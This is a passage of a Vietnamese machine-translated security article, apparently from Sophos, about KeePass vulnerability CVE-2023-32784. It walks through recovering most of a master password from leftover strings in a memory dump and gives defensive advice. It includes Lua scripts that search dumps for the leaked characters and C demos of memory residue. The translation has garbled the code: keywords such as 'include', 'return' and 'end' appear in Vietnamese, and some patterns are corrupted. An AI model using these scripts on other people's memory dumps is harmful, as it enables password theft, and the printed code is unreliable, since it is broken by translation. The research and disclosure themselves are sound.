C:UsersduckKEYPASS> lua findblobs.lua kp2-post.dmp 000EFF3C: * [. . .] 00BE621B: ** 00BE64C7: *** [. . .] 00BE6E8F: **** [. . .] 00BE795F: ***** [. . .] 00BE84F7: ****** [. . .] 00BE8F37: ******* [ tiếp tục tương tự cho 8 đốm màu, 9 đốm màu, v.v. ] [ cho đến khi hai dòng cuối cùng có chính xác 16 đốm màu ] 00C0503B: ************* *** 00C05077: ****************** 00C09337: * 00C09738: * [ tất cả các trận đấu còn lại dài một đốm] 0123B058: *

Tại các địa chỉ bộ nhớ gần nhau nhưng ngày càng tăng, chúng tôi đã tìm thấy một danh sách có hệ thống gồm 3 đốm màu, sau đó là 4 đốm màu, v.v. lên đến 16 đốm màu (độ dài mật khẩu của chúng tôi), theo sau là nhiều trường hợp rải rác ngẫu nhiên của các chuỗi một đốm màu .

Vì vậy, các chuỗi “blob” giữ chỗ đó thực sự dường như bị rò rỉ vào bộ nhớ và ở lại phía sau để rò rỉ độ dài mật khẩu, rất lâu sau khi phần mềm KeePass đã hoàn tất với mật khẩu chính của bạn.

Bước tiếp theo

Chúng tôi quyết định đào sâu hơn, giống như Vdohney đã làm.

Chúng tôi đã thay đổi mã khớp mẫu của mình để phát hiện các chuỗi ký tự đốm màu, theo sau là bất kỳ ký tự ASCII đơn lẻ nào ở định dạng 16 bit (các ký tự ASCII được biểu thị bằng UTF-16 dưới dạng mã ASCII 8 bit thông thường của chúng, theo sau là byte XNUMX).

Lần này, để tiết kiệm dung lượng, chúng tôi đã loại bỏ đầu ra cho bất kỳ kết quả khớp chính xác nào với kết quả trước đó:

Ngạc nhiên, ngạc nhiên:

C:UsersduckKEYPASS> lua searchkp.lua kp2-post.dmp
00BE581B: *I
00BE621B: **X
00BE6BD3: ***T
00BE769B: ****E
00BE822B: *****E
00BE8C6B: ******N
00BE974B: *******P
00BEA25B: ********A
00BEAD33: *********S
00BEB81B: **********S
00BEC383: ***********C
00BECEEB: ************H
00BEDA5B: *************A
00BEE623: **************R
00BEF1A3: ***************S
03E97CF2: *N
0AA6F0AF: *W
0D8AF7C8: *X
0F27BAF8: *S

Hãy xem những gì chúng tôi nhận được từ vùng bộ nhớ chuỗi được quản lý của .NET!

Một tập hợp chặt chẽ các “chuỗi đốm màu” tạm thời tiết lộ các ký tự liên tiếp trong mật khẩu của chúng tôi, bắt đầu bằng ký tự thứ hai.

Những chuỗi bị rò rỉ đó được theo sau bởi các kết quả trùng khớp một ký tự được phân phối rộng rãi mà chúng tôi cho là phát sinh tình cờ. (Tệp kết xuất KeePass có kích thước khoảng 250 MB, do đó, có rất nhiều chỗ cho các ký tự “blob” xuất hiện nếu may mắn.)

Ngay cả khi chúng tôi tính đến bốn kết quả phù hợp bổ sung đó, thay vì loại bỏ chúng vì có khả năng không khớp, chúng tôi có thể đoán rằng mật khẩu chính là một trong số:

?IXTEENPASSCHARS ?NXTEENPASSCHARS ?WXTEENPASSCHARS ?SXTEENPASSCHARS

Rõ ràng, kỹ thuật đơn giản này không tìm thấy ký tự đầu tiên trong mật khẩu, bởi vì “chuỗi đốm màu” đầu tiên chỉ được tạo sau khi ký tự đầu tiên đó được nhập vào

Lưu ý rằng danh sách này hay và ngắn vì chúng tôi đã lọc ra các kết quả khớp không kết thúc bằng các ký tự ASCII.

Nếu bạn đang tìm kiếm các ký tự trong một phạm vi khác, chẳng hạn như ký tự tiếng Trung hoặc tiếng Hàn, bạn có thể gặp phải nhiều lần truy cập tình cờ hơn, vì có nhiều ký tự khả thi hơn để khớp trên đó…

…nhưng chúng tôi nghi ngờ rằng dù sao thì bạn cũng sẽ tiến khá gần đến mật khẩu chính của mình và “chuỗi đốm màu” liên quan đến mật khẩu dường như được nhóm lại với nhau trong RAM, có lẽ vì chúng được phân bổ cùng lúc bởi cùng một phần của thời gian chạy .NET.

Và ở đó, trong một bản tóm tắt dài và rời rạc, là câu chuyện hấp dẫn của CVE-2023-32784.

Phải làm gì?

  • Nếu bạn là người dùng KeePass, đừng hoảng sợ. Mặc dù đây là một lỗi và về mặt kỹ thuật là một lỗ hổng có thể khai thác, nhưng những kẻ tấn công từ xa muốn bẻ khóa mật khẩu của bạn bằng cách sử dụng lỗi này sẽ cần cấy phần mềm độc hại vào máy tính của bạn trước. Điều đó sẽ cung cấp cho họ nhiều cách khác để đánh cắp mật khẩu của bạn trực tiếp, ngay cả khi lỗi này không tồn tại, chẳng hạn như bằng cách ghi lại các lần gõ phím của bạn khi bạn nhập. Tại thời điểm này, bạn có thể chỉ cần theo dõi bản cập nhật sắp tới và lấy nó khi nó sẵn sàng.
  • Nếu bạn không sử dụng mã hóa toàn bộ đĩa, hãy cân nhắc kích hoạt nó. Để trích xuất các mật khẩu còn sót lại từ tệp hoán đổi hoặc tệp ngủ đông của bạn (tệp đĩa hệ điều hành được sử dụng để lưu nội dung bộ nhớ tạm thời trong khi tải nặng hoặc khi máy tính của bạn đang "ngủ"), kẻ tấn công sẽ cần truy cập trực tiếp vào đĩa cứng của bạn. Nếu bạn đã kích hoạt BitLocker hoặc phần mềm tương đương cho các hệ điều hành khác, họ sẽ không thể truy cập tệp hoán đổi, tệp ngủ đông của bạn hoặc bất kỳ dữ liệu cá nhân nào khác như tài liệu, bảng tính, email đã lưu, v.v.
  • Nếu bạn là một lập trình viên, hãy luôn thông báo cho mình về các vấn đề quản lý bộ nhớ. Đừng cho rằng chỉ vì mỗi free() phù hợp với nó tương ứng malloc() rằng dữ liệu của bạn an toàn và được quản lý tốt. Đôi khi, bạn có thể cần thực hiện các biện pháp phòng ngừa bổ sung để tránh để dữ liệu bí mật nằm lung tung và những biện pháp phòng ngừa đó rất từ ​​hệ điều hành này sang hệ điều hành khác.
  • Nếu bạn là người kiểm tra QA hoặc người đánh giá mã, hãy luôn nghĩ về “hậu trường”. Ngay cả khi mã quản lý bộ nhớ trông gọn gàng và cân đối, hãy lưu ý những gì đang xảy ra đằng sau hậu trường (vì lập trình viên ban đầu có thể không biết làm như vậy) và sẵn sàng thực hiện một số công việc kiểu dồn nén như giám sát thời gian chạy và bộ nhớ dump để xác minh rằng mã bảo mật thực sự đang hoạt động như dự kiến.

MÃ TỪ BÀI VIẾT: UNL1.C

#bao gồm #bao gồm #bao gồm void hexdump(unsigned char* buff, int len) { // In bộ đệm theo khối 16 byte cho (int i = 0; i < len+16; i = i+16) { printf("%016X: ",buff +i); // Hiển thị 16 byte dưới dạng giá trị hex for (int j = 0; j < 16; j = j+1) { printf("%02X ",buff[i+j]); } // Lặp lại 16 byte đó dưới dạng các ký tự for (int j = 0; j < 16; j = j+1) { unsigned ch = buff[i+j]; printf("%c",(ch>=32 && ch<=127)?ch:'.'); } printf("n"); } printf("n"); } int main(void) { // Lấy bộ nhớ để lưu mật khẩu, và hiển thị // có gì trong bộ đệm khi nó chính thức là "mới"... char* buff = malloc(128); printf("Dumping 'new' buffer at startn"); hexdump(buff,128); // Sử dụng địa chỉ bộ đệm giả ngẫu nhiên làm hạt ngẫu nhiên srand((unsigned)buff); // Bắt đầu mật khẩu bằng một số văn bản cố định, có thể tìm kiếm được strcpy(buff,"unliketext"); // Nối 16 chữ cái giả ngẫu nhiên, mỗi lần một chữ cái for (int i = 1; i <= 16; i++) { // Chọn một chữ cái từ A (65+0) đến P (65+15) char ch = 65 + (rand() & 15); // Sau đó sửa chuỗi buff ở vị trí strncat(buff,&ch,1); } // Mật khẩu đầy đủ hiện đã có trong bộ nhớ, vì vậy hãy in // nó dưới dạng một chuỗi và hiển thị toàn bộ vùng đệm... printf("Chuỗi đầy đủ là: %sn",buff); hexdump(buff,128); // Tạm dừng để xử lý kết xuất RAM ngay bây giờ (thử: 'procdump -ma') places("Đang chờ [ENTER] giải phóng bộ đệm..."); getchar(); // Chính thức giải phóng () bộ nhớ và hiển thị bộ đệm // một lần nữa để xem có thứ gì bị bỏ lại không... free(buff); printf("Dumping buffer after free()n"); hexdump(buff,128); // Tạm dừng đổ RAM lần nữa để kiểm tra sự khác biệt put("Đang đợi [ENTER] để thoát main()..."); getchar(); trả về 0; }

MÃ TỪ BÀI VIẾT: UNL2.C

#bao gồm #bao gồm #bao gồm #bao gồm void hexdump(unsigned char* buff, int len) { // In bộ đệm theo khối 16 byte cho (int i = 0; i < len+16; i = i+16) { printf("%016X: ",buff +i); // Hiển thị 16 byte dưới dạng giá trị hex for (int j = 0; j < 16; j = j+1) { printf("%02X ",buff[i+j]); } // Lặp lại 16 byte đó dưới dạng các ký tự for (int j = 0; j < 16; j = j+1) { unsigned ch = buff[i+j]; printf("%c",(ch>=32 && ch<=127)?ch:'.'); } printf("n"); } printf("n"); } int main(void) { // Lấy bộ nhớ để lưu mật khẩu và hiển thị // có gì trong bộ đệm khi nó chính thức là "mới"... char* buff = VirtualAlloc(0,128,MEM_COMMIT,PAGE_READWRITE); printf("Dumping 'new' buffer at startn"); hexdump(buff,128); // Sử dụng địa chỉ bộ đệm giả ngẫu nhiên làm hạt ngẫu nhiên srand((unsigned)buff); // Bắt đầu mật khẩu bằng một số văn bản cố định, có thể tìm kiếm được strcpy(buff,"unliketext"); // Nối 16 chữ cái giả ngẫu nhiên, mỗi lần một chữ cái for (int i = 1; i <= 16; i++) { // Chọn một chữ cái từ A (65+0) đến P (65+15) char ch = 65 + (rand() & 15); // Sau đó sửa chuỗi buff ở vị trí strncat(buff,&ch,1); } // Mật khẩu đầy đủ hiện đã có trong bộ nhớ, vì vậy hãy in // nó dưới dạng một chuỗi và hiển thị toàn bộ vùng đệm... printf("Chuỗi đầy đủ là: %sn",buff); hexdump(buff,128); // Tạm dừng để kết xuất tiến trình RAM ngay bây giờ (thử: 'procdump -ma') Puting("Đang chờ [ENTER] giải phóng bộ đệm..."); getchar(); // Chính thức giải phóng () bộ nhớ và hiển thị bộ đệm // một lần nữa để xem có thứ gì bị bỏ lại không... VirtualFree(buff,0,MEM_RELEASE); printf("Dumping buffer after free()n"); hexdump(buff,128); // Tạm dừng đổ RAM lần nữa để kiểm tra sự khác biệt put("Đang chờ [ENTER] để thoát main()..."); getchar(); trả về 0; }

MÃ TỪ BÀI VIẾT: S1.LUA

-- Bắt đầu với một số văn bản cố định, có thể tìm kiếm được s = 'unlikelytext' -- Nối 16 ký tự ngẫu nhiên từ 'A' đến 'P' cho i = 1,16 do s = s .. string.char(65+math.random( 0,15)) end print('Chuỗi đầy đủ là:',s,'n') -- Tạm dừng để kết xuất quá trình RAM print('Đang chờ [ENTER] trước khi giải phóng chuỗi...') io.read() - - Xoá chuỗi và đánh dấu biến không sử dụng s = nil -- Kết xuất lại RAM để tìm khác biệt print('Đang chờ [ENTER] trước khi thoát...') io.read()

MÃ TỪ BÀI VIẾT: FINDIT.LUA

-- đọc trong tệp kết xuất local f = io.open(arg[1],'rb'):read('*a') -- tìm văn bản đánh dấu theo sau bởi một -- hoặc nhiều ký tự ASCII ngẫu nhiên local b,e ,m = 0,0,nil while true do -- tìm trận đấu tiếp theo và ghi nhớ offset b,e,m = f:find('(unlikelytext[AZ]+)',e+1) -- thoát khi không còn nữa khớp nếu không b thì ngắt kết thúc -- báo cáo vị trí và chuỗi tìm thấy print(string.format('%08X: %s',b,m)) end

MÃ TỪ BÀI VIẾT: SEARCHKNOWN.LUA

io.write('Đọc trong tệp kết xuất... ') local f = io.open(arg[1],'rb'):read('*a') io.write('DONE.n') io. write('Tìm kiếm SIXTEENPASSCHARS dưới dạng 8-bit ASCII... ') local p08 = f:find('SIXTEENPASSCHARS') io.write(p08 and 'FOUND' or 'not found','.n') io.write ('Tìm kiếm SIXTEENPASSCHARS dưới dạng UTF-16... ') local p16 = f:find('Sx00Ix00Xx00Tx00Ex00Ex00Nx00Px00'.. 'Ax00Sx00Sx00Cx00Hx00Ax00Rx00Sx00') io.write(p16 and 'FOUND' or 'not found','. n')

MÃ TỪ BÀI VIẾT: FINDBLOBS.LUA

-- đọc trong tệp kết xuất được chỉ định trên dòng lệnh local f = io.open(arg[1],'rb'):read('*a') -- Tìm kiếm một hoặc nhiều đốm màu mật khẩu, theo sau là bất kỳ đốm màu nào -- Lưu ý rằng các ký tự blob (●) mã hóa thành các ký tự rộng của Windows -- dưới dạng mã UTF-16 litte-endian, xuất hiện dưới dạng CF 25 ở dạng hex. local b,e,m = 0,0,nil while true do -- Chúng tôi muốn một hoặc nhiều đốm màu, theo sau là bất kỳ đốm màu nào. -- Chúng tôi đơn giản hóa mã bằng cách tìm CF25 rõ ràng -- theo sau là bất kỳ chuỗi nào chỉ có CF hoặc 25 trong đó, -- vì vậy chúng tôi sẽ tìm CF25CFCF hoặc CF2525CF cũng như CF25CF25. -- Chúng tôi sẽ lọc ra "dương tính giả" sau nếu có. -- Chúng ta cần viết '%%' thay vì x25 vì x25 -- ký tự (dấu phần trăm) là một ký tự tìm kiếm đặc biệt trong Lua! b,e,m = f:find('(xCF%%[xCF%%]*)',e+1) -- thoát khi không khớp nữa nếu không phải b thì ngắt kết thúc -- CMD.EXE không in được các đốm màu, vì vậy chúng tôi chuyển đổi chúng thành các ngôi sao. print(string.format('%08X: %s',b,m:gsub('xCF%%','*'))) kết thúc

MÃ TỪ BÀI VIẾT: SEARCHKP.LUA

-- đọc trong tệp kết xuất được chỉ định trên dòng lệnh local f = io.open(arg[1],'rb'):read('*a') local b,e,m,p = 0,0,nil,nil trong khi true do -- Bây giờ, chúng tôi muốn một hoặc nhiều đốm màu (CF25) theo sau mã -- cho A..Z theo sau là byte 0 để chuyển đổi ACSCII thành UTF-16 b,e,m = f:find(' (xCF%%[xCF%%]*[AZ])x00',e+1) -- thoát khi không khớp nữa nếu không b thì ngắt kết thúc -- CMD.EXE không thể in các đốm màu, vì vậy chúng tôi chuyển đổi chúng thành ngôi sao. -- Để tiết kiệm dung lượng, chúng tôi loại bỏ các kết quả khớp liên tiếp if m ~= p then print(string.format('%08X: %s',b,m:gsub('xCF%%','*'))) p = m kết thúc kết thúc

tại chỗ_img

Tin tức mới nhất

tại chỗ_img